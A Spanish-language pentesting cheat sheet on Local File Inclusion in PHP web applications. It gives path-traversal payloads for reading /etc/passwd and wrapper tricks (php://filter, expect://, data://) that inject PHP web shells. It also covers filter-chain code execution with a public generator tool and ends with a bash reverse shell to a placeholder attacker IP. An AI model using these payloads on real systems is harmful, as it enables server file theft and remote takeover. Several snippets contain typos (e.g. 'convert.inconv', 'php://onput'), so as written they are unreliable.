Local File Inclusion (LFI)

#OWASP10 #LFI

La vulnerabilidad de Local File Inclusion (LFI) es una brecha de seguridad que ocurre cuando una aplicación web no valida adecuadamente las entradas de usuario, lo que permite que un atacante acceda a archivos locales en el servidor web.

Los atacantes suelen aprovechar esta vulnerabilidad al manipular los parámetros de entrada en la aplicación web, utilizando técnicas como el Path Traversal para navegar a través de los directorios del servidor y acceder a archivos sensibles.

Para prevenir los ataques LFI, es fundamental que los desarrolladores validen y filtren correctamente la entrada del usuario, limitando el acceso a recursos del sistema y asegurándose de que los archivos solo puedan incluirse desde ubicaciones permitidas. Además, se deben implementar medidas de seguridad adicionales, como el cifrado de archivos y la restricción del acceso de usuarios no autorizados a los recursos del sistema.

Payloads

Supongamos que estamos atacando a un servidor con la estructura http://localhost?filename=, si existe la capacidad de lectura del servidor, puedes utilizar los siguientes payloads.

../../../../../../../etc/passwd
....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//etc//////////////passwd
....//....//....//....//....//....//....//etc///pa??wd
http://localhost?filename=../../../../../../../etc/passwd%00

Usualmente los multiples "///" se traducen a uno, y los signos "?" buscan caracteres, en el caso de que existan bloqueos.

Tambien hay alternativas como los null bytes %00

Wrappers

A veces las tecnicas basicas no funcionan y hay que recurrir a metodos mas elaborados, transformando la informacion para que no sea vista de forma explicita por lo validadores.

Convert.base64

php://filter/convert.base64-encode/resource=secret.php

echo "output" | base64 -d; echo

String.rot13

Es una rotacion de 13 caracteres, usando el abecedario como referencia.

php://filter/read=string.rot13/resource=secret.php

cat data | tr '[c-za-bC-ZA-B]' '[p-za-oP-ZA-O]'

convert.iconv.utf8

Cambia de UTF-8 a UTF-16 y esto puede mostrar en texto plano

php://filter/convert.iconv.utf-8.utf-16/resource=secret.php

Expect://

A veces esta habilitado y muestra comando

expect://whoami

php://onput

Para que funcione, deberias cambiar de GET a POST, y enviar cosas como <?php system("whoami");>

php://input

data://text

Interpretara <?php system("whoami");>, que esta escrito en base64 en el URL, en estos casos se recomienda inyectar <?php system($_GET["cmd"]);> y luego agregar &cmd=whoami para ejecutara comandos (si falla, cambia los '+' a %2b)

data://text/plain;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTsgPz4=

Filter Chaining

PHP, cuando codifica y decodifica en base64, ignora todos los caracteres especiales como &_< etc. Esta tecnica tambien se usa para moldear entre varias interpretaciones

php -r "echo file_get_contents('php://filter/convert.inconv.UTF8.CSISSO2022KR|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode/resource=/tmp/test');" | xxd

# convert.iconv.UTF8.UTF7 se agrega solo si hay '=='

Le agrega una serie de caracteres al echo de test, Original: YmFzZTY0 >> Post-echo: CYmFzZTY

Ahora, que es lo interesante, como puedes agregar caracteres mientras vas codificando y decodificando, puedes llegar al punto de inyectar un codigo php que te permita hacer lo que quieras, existe una herramienta llamada php_filter_chain_generator que automatiza el proceso.

Como ejemplo, vamos a inyectar 'Hola', primero debe quedar al reverso como 'aloH'

php -r "echo file_get_contents('php://filter/convert.inconv.UTF8.CSISSO2022KR|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp');" | xxd

El output deberia agregar <Hola...> al inicio del codigo base64 de php://temp, php://temp es un recurso que permite escribir. 
Caracteres:
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',

La estructura es la siguiente:

"php://filter/convert.inconv.UTF8.CSISSO2022KR|convert.iconv.UTF8.UTF7|...<Primer caracter>"
"<Primer caracter>...|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|...<Segundo Caracter>"
"<Segundo Caracter>...|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|...<Tercer Caracter>"
"<Tercer Caracter>...|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|...<Ultimo Caracter>"
"<Ultimo Caracter>.../resource=php://temp');""

Y si quiero inyectar codigo?

echo -n '<?php system("whoami"); ?>' | base64
#Output
echo "<Output>" | rev
#OutputReverso -> Esto deberias ocupar

# Como estas trabajando con base64, la estructura basica cambiaria solo al inicio y final para representar el comando.

"php://filter/convert.inconv.UTF8.CSISSO2022KR|convert.iconv.UTF8.UTF7|convert.base64-encode|...<Primer caracter>"

"<Ultimo Caracter>...|convert.base64-decode/resource=php://temp');""

Ahora usando la utilidad:

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chin_generator
python3 php_filter_chain_generator.py --chain '<?php system("whoami"); ?>'
# Copy the <Output>

php -r "echo file_get_contents('<Output>')" | xxd

# Ahora si lo ejecutas en localhost/?filename=<Output> podras ver el resultado del comando.

Para una reverse shell

python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
# Copy the output
nc -nlvp 443
  • localhost/?filename=&cmd=bash -c "bash -i >%26 /dev/tcp/MI_IP/443 0>%261"

Last updated